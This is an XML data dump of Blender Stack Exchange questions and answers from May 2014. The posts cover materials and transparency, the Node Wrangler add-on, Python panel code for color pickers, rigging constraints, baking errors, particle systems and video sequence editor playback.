  <row Id="10674" PostTypeId="1" CreationDate="2014-05-24T17:03:55.730" Score="0" ViewCount="795" Body="&lt;p&gt;I've created some STL files and can successfully import them into Blender.  The shapes I've created overlap in a meaningful way (think partially overlapping spheres, but more complicated), and I'd like to make them translucent so you can see how the overlaps happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought the following would work, but it doesn't:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one of the objects.&lt;/li&gt;&#xA;&lt;li&gt;Go to the materials panel and select the 'Transparency' box.&lt;/li&gt;&#xA;&lt;li&gt;Change the 'Alpha' setting to something less than 1.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;At this point the material preview shows a translucent sphere, but my object doesn't change at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What gives?  Am I missing some small step that activates the material?  Do I need to have other, opaque objects in my scene in order to observe the transparency?  (Currently I've only loaded these STL objects and nothing else is in the scene.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This seems like a very simple question and I'm sorry if it's a duplicate.  Ultimately I'd like to make the materials for these objects glass-like to end up with a nice visualization of the following geometry:  &lt;a href=&quot;http://www.unf.edu/~ddreibel/research/milnor/milnor.html&quot; rel=&quot;nofollow&quot;&gt;http://www.unf.edu/~ddreibel/research/milnor/milnor.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your help!&lt;/p&gt;&#xA;" OwnerUserId="3300" LastActivityDate="2014-05-24T17:03:55.730" Title="Transparency for imported STL files" Tags="&lt;materials&gt;&lt;texturing&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10675" PostTypeId="2" ParentId="10673" CreationDate="2014-05-24T18:39:37.160" Score="8" Body="&lt;p&gt;You should activate the plugin &quot;Node Wrangler&quot; (it's awesome). Beside offering many Shortcuts and hotskeys it also offers to view every? possible output. To enable it open &lt;code&gt;File &amp;gt; User Preferences...&lt;/code&gt;&lt;kbd&gt;Ctrl+Alt+U&lt;/kbd&gt; and go to the Addons section. Search for &quot;Node Wrangler&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OS2el.png&quot; alt=&quot;Enable Node Wrangler&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next you can go into your node editor and &lt;kbd&gt;Ctrl+Shift+Left Mouse&lt;/kbd&gt;-click on the output node of your choice. It should have created a Viewer-node that is linked between the selected node and the Material Output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pifVS.png&quot; alt=&quot;Add Viewer Node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can now view the output from the node in any 3d-Viewport after switching to Viewport-Shading Rendered. To render faster you can switch to Object-Local-view. Just select the object you want to view and press &lt;kbd&gt;Numpad /&lt;/kbd&gt;. This will temporarily disable all other objects and speed up the preview rendering. (If you don't have a Numpad, the setting can be found under &lt;code&gt;View &amp;gt; View Global/Local&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NP0iJ.png&quot; alt=&quot;Switch to Rendered Mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: This plugin also offers much functionality. Just press &lt;kbd&gt;Ctrl+Space&lt;/kbd&gt; in the Node Editor to see it for yourself.&lt;/p&gt;&#xA;" OwnerUserId="2251" LastEditorUserId="2251" LastEditDate="2014-05-26T14:35:01.430" LastActivityDate="2014-05-26T14:35:01.430" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10676" PostTypeId="1" CreationDate="2014-05-24T19:26:39.300" Score="1" ViewCount="465" Body="&lt;p&gt;I am trying to convert a Houdini matrix to Blender matrix so that when the matrix is applied in Blender the camera faces the same direction and is in the same place as it was in Houdini. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for some kind of &quot;black-box&quot; python function that will accept a Houdini matrix and return a valid Blender matrix. Like shown in this math image. &#xA;&lt;img src=&quot;https://www.sidefx.com/components/com_forum/files/formula_867.jpg&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3602" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.883" LastActivityDate="2014-05-26T17:17:49.923" Title="Convert Houdini Matrix To Blender Matrix?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10677" PostTypeId="1" CreationDate="2014-05-24T19:28:14.313" Score="0" ViewCount="186" Body="&lt;p&gt;So I import a file from turbosquid but it doesn't have the texture. How do I add the texture?&#xA;I already tried to do texture on it but doesn't work.&lt;/p&gt;&#xA;" OwnerUserId="3617" LastEditorUserId="3617" LastEditDate="2014-05-24T21:51:11.123" LastActivityDate="2014-05-24T21:51:11.123" Title="How can I get my texture to show on an Imported file?" Tags="&lt;texturing&gt;&lt;import&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2014-05-24T20:03:13.287" ContentLicense="CC BY-SA 3.0" />
  <row Id="10678" PostTypeId="2" ParentId="10663" CreationDate="2014-05-24T19:31:38.403" Score="5" Body="&lt;p&gt;You can use &lt;em&gt;Record animation&lt;/em&gt; and &lt;em&gt;Lock camera to view&lt;/em&gt; to do this without python, however it only works in fly/walk mode:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable it in &lt;em&gt;Timeline &gt; Header&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d9Bpp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This will insert keyframes for any objects/bones you move/transform, including the camera.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In camera view (&lt;kbd&gt;Numpad 0&lt;/kbd&gt;), enable &lt;em&gt;Lock camera to view&lt;/em&gt; in &lt;em&gt;3D view &gt; Properties region&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fQ9Iu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should see a dotted line on the outside of the camera view, and moving the view with MMB should also move the camera.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; to start the animation, then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;F&lt;/kbd&gt; to enter &lt;em&gt;Walk Navigation&lt;/em&gt;. This also works in &lt;em&gt;Fly mode&lt;/em&gt; (&lt;em&gt;3D view &gt; Header &gt; View &gt; Navigation &gt; Fly Navigation&lt;/em&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-05-24T19:31:38.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10679" PostTypeId="2" ParentId="10665" CreationDate="2014-05-24T19:50:57.003" Score="5" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;class ColorItem(bpy.types.PropertyGroup):&#xA;    color = bpy.props.FloatVectorProperty(&#xA;                 name = &quot;Color Picker&quot;,&#xA;                 subtype = &quot;COLOR&quot;,&#xA;                 size = 4,&#xA;                 min = 0.0,&#xA;                 max = 1.0,&#xA;                 default = (0.75,0.0,0.8,1.0)&#xA;                 )&#xA;&#xA;class ColorPanel(bpy.types.Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Scene properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;Colors&quot;&#xA;    bl_idname = &quot;SCENE_PT_colors&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;scene&quot;&#xA;&#xA;    def draw(self, context):&#xA;        for i in range(5):&#xA;            row = self.layout.row()&#xA;            row.prop(context.scene.colors[i], &quot;color&quot;, text=str(i))&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ColorPanel)&#xA;    bpy.utils.register_class(ColorItem)&#xA;    bpy.types.Scene.colors = \&#xA;        bpy.props.CollectionProperty(type=ColorItem)&#xA;&#xA;    for i in range(5):   &#xA;        bpy.context.scene.colors.add()&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ColorPanel)&#xA;    bpy.utils.unregister_class(ColorItem)&#xA;    del bpy.types.Scene.colors&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adapted the SimplePanel Template to show 5 color pickers. Access and set their values via &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.scene.colors[index].color = (0.0, 0.0, 0.0, 1.0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Additional infos:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here is the link to the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;official  api documentation&lt;/a&gt;. In the section &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/info_quickstart.html#example-operator&quot; rel=&quot;nofollow noreferrer&quot;&gt;quickstart introduction&lt;/a&gt; you will find an example of an operator. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find a template in the text editor -&gt; &lt;code&gt;Templates&lt;/code&gt; -&gt; &lt;code&gt;Python&lt;/code&gt; -&gt; &lt;code&gt;SimpleOperator&lt;/code&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/PgppU.png&quot; alt=&quot;templates&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your case you simply wrap your code in a function which will be called from the operators execute method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def main(context):&#xA;    context.scene.color_prop.h += 0.125&#xA;    context.scene.color_prop.h %= 1.0&#xA;    #...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Define an operator (see the SimpleOperator template), and extend the panel's draw method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw(self, context):&#xA;    #...&#xA;    row = self.layout.row()&#xA;    row.operator(&quot;object.simple_operator&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://www.pasteall.org/51881/python&quot; rel=&quot;nofollow noreferrer&quot;&gt;full listing&lt;/a&gt; copy &amp;amp; pasted together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;These sections &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/bpy.props.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;#1&lt;/a&gt;, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/mathutils.html#mathutils.Color&quot; rel=&quot;nofollow noreferrer&quot;&gt;#2&lt;/a&gt; from the docs might be helpful.&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-05-25T20:50:04.180" LastActivityDate="2014-05-25T20:50:04.180" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10680" PostTypeId="1" CreationDate="2014-05-24T20:21:35.310" Score="4" ViewCount="3480" Body="&lt;p&gt;I am rigging a set of gears (a car - wheels driving through a differential), and am taking the input as the wheel rotation. I've used parenting and constraints to link the gears. All goes well until I reach the point where I need to have the next gears rotation at 1/3 of the previous gear. Each method I have tried (transformation constraint, rotation constraint, and others, drivers, etc) all result in the correct rotation for only 120 (or 1/3 of a full rotation) before it flips on it's local axis and starts again. This is true for other fractions of the original rotation also. On a rotationally symmetrical gear this may not be a problem, or even visible, but my gear is not. It can easily be seen by selecting the target gear and turning on the local axis view.&#xA;Does anyone now of a solution to this, to achieve a fluid, full, scaled rotation?&lt;/p&gt;&#xA;" OwnerUserId="3618" LastActivityDate="2016-03-20T19:51:49.263" Title="How to fix rotational constraint 'jumping' in rotation problem" Tags="&lt;rigging&gt;&lt;constraints&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10682" PostTypeId="1" CreationDate="2014-05-24T21:53:33.593" Score="2" ViewCount="246" Body="&lt;p&gt;This might be a simple fix, however I have never done close up stills or animations before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just started building a logo animation for the company I work for. Barely even getting around to animating anything, I have noticed that a &quot;circular shadow&quot; seems to be following the camera. I have tried turning off the lights, it doesnt modify the shadow in any way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried researching the issue to no avail. I might be searching in the wrong places, but have not found anything related to it yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below are a couple low quality stills for reference. Has anybody encountered this before? Am I missing something basic?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/shN17.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CPnmg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2057" LastEditorUserId="2057" LastEditDate="2014-05-24T22:12:53.483" LastActivityDate="2014-05-27T20:39:07.180" Title="Camera Shadow in Cycles live render and final render?" Tags="&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10684" PostTypeId="1" AcceptedAnswerId="10685" CreationDate="2014-05-24T23:15:36.770" Score="3" ViewCount="3634" Body="&lt;p&gt;I am trying to bake my AO map and every time I click bake, I get the error: &quot;No objects or images to bake&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="3620" LastEditorUserId="8262" LastEditDate="2015-12-17T00:42:58.517" LastActivityDate="2015-12-17T00:44:05.753" Title="error: &quot;No objects or images to bake&quot;" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10685" PostTypeId="2" ParentId="10684" CreationDate="2014-05-24T23:23:38.733" Score="2" Body="&lt;p&gt;Your mesh is the active object, but not currently selected in object mode. Switch to object mode and select the object, then click bake. It should work fine now.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-24T23:23:38.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10686" PostTypeId="1" CreationDate="2014-05-25T00:34:02.717" Score="4" ViewCount="10745" Body="&lt;p&gt;Does blender have a UV relax like 3ds max: so it relaxes the entire UV island with the border vertices including ( Minimize stretch doesn't effect the border vertices)?&lt;/p&gt;&#xA;" OwnerUserId="3382" LastActivityDate="2020-12-02T20:48:36.980" Title="3ds max like UV relax" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10688" PostTypeId="1" AcceptedAnswerId="10691" CreationDate="2014-05-25T04:44:46.210" Score="3" ViewCount="493" Body="&lt;p&gt;I have a bookshelf modeled and a group of 10 books (so as to not make the bookshelf look repeated), is it possible to create a driver to just drag up/down the amount of books on the shelf???&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2014-05-25T18:33:27.803" Title="Bookshelf Drivers (Possible to add/subtract books using drivers)?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;drivers&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10689" PostTypeId="1" CreationDate="2014-05-25T11:20:51.567" Score="4" ViewCount="4095" Body="&lt;p&gt;I need to create a text overlay on my video file showing a timer started and stopped at certain times during the clips length.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All tutorials I found on creating text or titles to be used in the VSE or node compositor only mention pre-made still images or videos with text and alpha to be merged with the original video. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of the 'stamp' render option which can either display custom static text or even display time, but it will only show the overall playback time and can not be started or stopped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easy way to create a timer with blenders modeling and animation capabilities to be used in the scene? (Easy enough for someone who only wants to edit live-action video and usually does not create 3D content)?&lt;/p&gt;&#xA;" OwnerUserId="3624" LastEditorUserId="3624" LastEditDate="2014-05-26T10:30:32.923" LastActivityDate="2019-02-10T13:20:53.873" Title="Can I create a timer overlay for a video file to use in the VSE? How?" Tags="&lt;video-sequence-editor&gt;" AnswerCount="5" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10690" PostTypeId="2" ParentId="8400" CreationDate="2014-05-25T11:22:52.103" Score="0" Body="&lt;p&gt;The game engine seems to convert your text objects to planes with a character texture automatically. Note that new Text objects I added to the scene were converted to a mesh instead which worked fine since the text borders were not defined by transparency. I couldn't figure out which setting caused the text-to-texture conversion, otherwise I would advise you to turn it off.&lt;br&gt;&#xA;The problem the transparent textures introduce is that the objects need to be rendered back to front for the transparency to show correctly (see also my answer &lt;a href=&quot;https://blender.stackexchange.com/questions/10634/how-do-i-create-a-single-object-with-two-different-texture-and-uv-maps/10641#10641&quot;&gt;here&lt;/a&gt;). For normal meshes you could just add a material and set the 'Alpha Blend' mode in the material's 'Game Settings' to 'Alpha Sort'. Unfortunatly this seems not to work for your text objects, since they seem to not react to any material settings at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only easy solution I found to this problem is to convert the text objects to a mesh by pressing [Alt+C] and selecting 'Mesh from Curve/Meta/Surf/Text'. This will also remove the resolution problem. Note that this will make your text uneditable, so you probably want to keep a copy of your original text somewhere (on a different layer perhaps).&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-25T11:22:52.103" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10691" PostTypeId="2" ParentId="10688" CreationDate="2014-05-25T11:35:20.397" Score="3" Body="&lt;p&gt;You could use particle system to emit the books from vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xAeJ9.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The emitter is a subdivided plane, the origin of the book group (only 3 books on layer 2) is set to the bottom of the book. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demofile: &lt;a href=&quot;http://pasteall.org/blend/29436&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/blend/29436&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Particle settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Uncheck Random under 'Emit from:'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uMxn1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related: &lt;a href=&quot;https://blender.stackexchange.com/questions/7624/prevent-particles-at-the-same-place&quot;&gt;Prevent particles at the same place?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-05-25T18:33:27.803" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10693" PostTypeId="2" ParentId="10671" CreationDate="2014-05-25T14:11:09.227" Score="4" Body="&lt;p&gt;Your Subsurf modifier is set to the &quot;Simple&quot; algorithm, which in this case adds a lot of extra geometry without giving you any actual geometric smoothing (The normals are sampled more densely though which makes some difference in appearance). In any case you still have those strong edges in your geometry, that, combined with problably some form of floating point precision irregularities during raytracing give you these 'artifacts'. If you switch the SubSurf algorithm to &quot;Catmull-Clark&quot;, remodel your tire pattern to make use of close proximity edge loops and the likes to retain the original shapes while gaining actual geometric smoothing via the SubSurf modifier, and then reattempt baking the normals, I would very much believe that your artifacts will be gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If anything (or all) of this sounds like gibberish, please let me know and i'll try to clarify further. :)&lt;/p&gt;&#xA;" OwnerUserId="3625" LastActivityDate="2014-05-25T14:11:09.227" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10694" PostTypeId="1" AcceptedAnswerId="10695" CreationDate="2014-05-25T15:53:31.113" Score="4" ViewCount="730" Body="&lt;p&gt;How I found this problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;First, I opened Blender.&lt;/li&gt;&#xA;&lt;li&gt;Then, I opened the &quot;Video sequence editor.&quot;&lt;/li&gt;&#xA;&lt;li&gt;Since I knew I would be working with videos at 60FPS, I changed the frame rate from 24 to 60 FPS in the sidebar.&lt;/li&gt;&#xA;&lt;li&gt;Then, I dragged in my first video, and the audio and video lined up correctly (since I changed the frame rate).&lt;/li&gt;&#xA;&lt;li&gt;I made a new view thingy to put the preview in by dragging from the bottom left corner of the screen, and I set it to &quot;preview.&quot;&lt;/li&gt;&#xA;&lt;li&gt;Then, I dragged the &quot;end&quot; slider at the bottom until it lined up with the end of the video, so I could see the whole thing.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, here's the problem. When I press play, the video preview plays back really slow (at 24FPS) while the audio is fine. Furthermore, when I pan the video to play back at a different point, the preview &lt;em&gt;starts&lt;/em&gt; at the correct point, but plays back too slowly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this, so that the video plays at the correct speed?&lt;/p&gt;&#xA;" OwnerUserId="3627" LastActivityDate="2014-05-26T04:44:27.933" Title="Video preview plays at old frame rate after changing it" Tags="&lt;video-sequence-editor&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10695" PostTypeId="2" ParentId="10694" CreationDate="2014-05-25T17:33:33.420" Score="3" Body="&lt;p&gt;It seems that you were using a HD video source. AFAIK, Sequencer still works with single thread and not so much effective, relatively speaking. In that case, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Sequencer/Usage#Proxy_Strip_Properties_Panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Proxy&lt;/strong&gt;&lt;/a&gt; is born to well solve such issue.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the video strip you want to make proxy for, toggle &lt;strong&gt;Proxy/Timecode&lt;/strong&gt; on the property sidebar;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Menu&lt;/strong&gt; &gt; &lt;strong&gt;Strip&lt;/strong&gt; &gt; &lt;strong&gt;Rebuild Proxy and Timecode Intices&lt;/strong&gt;;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;on Preview window sidebar, Switch the &lt;strong&gt;Proxy render size&lt;/strong&gt; to the expected proxy percentage, which is just generated. As shown below:&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AvbVv.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the video quality would be significantly reduced, the playback speed is quite faster than the original source. However, VSE still uses original source for final rendering. &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Another way to keep the video/audio sync while playing preview is to use the suitable playback sync mode, which locates on &lt;strong&gt;Timeline&lt;/strong&gt; header. (&lt;em&gt;AV Sync&lt;/em&gt; or &lt;em&gt;Frame Dropping&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F71Xe.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, you can use the above tricks all together to keep the sync best. However, if the playback is still slow or not sync enough, then you'd better turn to a higher performance PC for that. :)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2014-05-26T04:44:27.933" LastActivityDate="2014-05-26T04:44:27.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10697" PostTypeId="1" AcceptedAnswerId="10714" CreationDate="2014-05-25T21:09:40.793" Score="4" ViewCount="12942" Body="&lt;p&gt;I want to know how to get the dupli object to flip? Examlpe: I have bolts distributed on one side of the default cube. How can I get the &quot;bolts&quot; to point out on the other side of the cube.&lt;br&gt;&#xA;I have a mesh that I'm using for the duplication (have tried with dupli faces, and verts). I have the &quot;bolts&quot; placed on one side of the cube no problem, but no mater how I try to rotate the faces of the duplication mesh the bolts still face the same way. I have tried adding a mirror modifier on the duplication mesh, copying and rotating the faces but to no avail.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-11-17T17:23:16.457" Title="How to flip direction of dupli objects?" Tags="&lt;transforms&gt;&lt;normals&gt;&lt;geometry&gt;&lt;instances&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10698" PostTypeId="1" AcceptedAnswerId="10708" CreationDate="2014-05-25T21:26:29.007" Score="3" ViewCount="12009" Body="&lt;p&gt;I have been playing around with camera tracking and I'm happy enough with the tracking and alignment of the markers with the footage when viewed through the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nOXPF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is, when I am not looking through the camera I can see that the grid isn't aligned to the camera.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O5HIG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you correctly align the grid to this tracked camera? I have set a floor and two points for scale, also clicked setup tracking scene, but this just added cube and plane which were on the grid.&lt;/p&gt;&#xA;" OwnerUserId="1626" LastActivityDate="2019-09-20T19:13:05.180" Title="Correct tracked camera orientation" Tags="&lt;tracking&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10699" PostTypeId="1" AcceptedAnswerId="10702" CreationDate="2014-05-25T21:30:12.700" Score="4" ViewCount="2257" Body="&lt;p&gt;I have an object that has been rotated. How can I get its rotation, but in the opposite direction (as a matrix that I can use to multiply some coordinates by)?&lt;/p&gt;&#xA;&lt;p&gt;bpy.types.Object has an attribute called &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/bpy.types.Object.html#bpy.types.Object.matrix_world&quot; rel=&quot;nofollow noreferrer&quot;&gt;matrix_world&lt;/a&gt; which represents the object's current transformation, including its rotation. I have tried using &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/mathutils.html?highlight=mathutils#mathutils.Matrix.invert&quot; rel=&quot;nofollow noreferrer&quot;&gt;mathutils.Matrix.invert()&lt;/a&gt; and &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_5/mathutils.html?highlight=mathutils#mathutils.Matrix.decompose&quot; rel=&quot;nofollow noreferrer&quot;&gt;mathutils.Matrix.decompose()&lt;/a&gt; to obtain the rotation component of the active object in what I hoped was the opposite direction, and some other methods, none of which worked.&lt;/p&gt;&#xA;&lt;p&gt;I am currently reading up on linear algebra to discover a solution here (so that I can discover the meaning of matrix inversion, transpose, etc.), but in the mean time any advice is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="417" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-25T22:22:21.890" Title="Obtaining opposing direction rotation" Tags="&lt;python&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10700" PostTypeId="1" AcceptedAnswerId="10727" CreationDate="2014-05-25T21:36:50.057" Score="1" ViewCount="2644" Body="&lt;p&gt;In the duplication options for the dupli verts there is a option for &lt;code&gt;Rotation&lt;/code&gt;. Witch brings me to my question, is there anyway to rotate a vertex? Vertex's have normals, is there any way to control which way the normal of a single unconnected vertex points?&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-12-11T07:47:45.877" Title="Can a single vertex be rotated?" Tags="&lt;transforms&gt;&lt;vertices&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
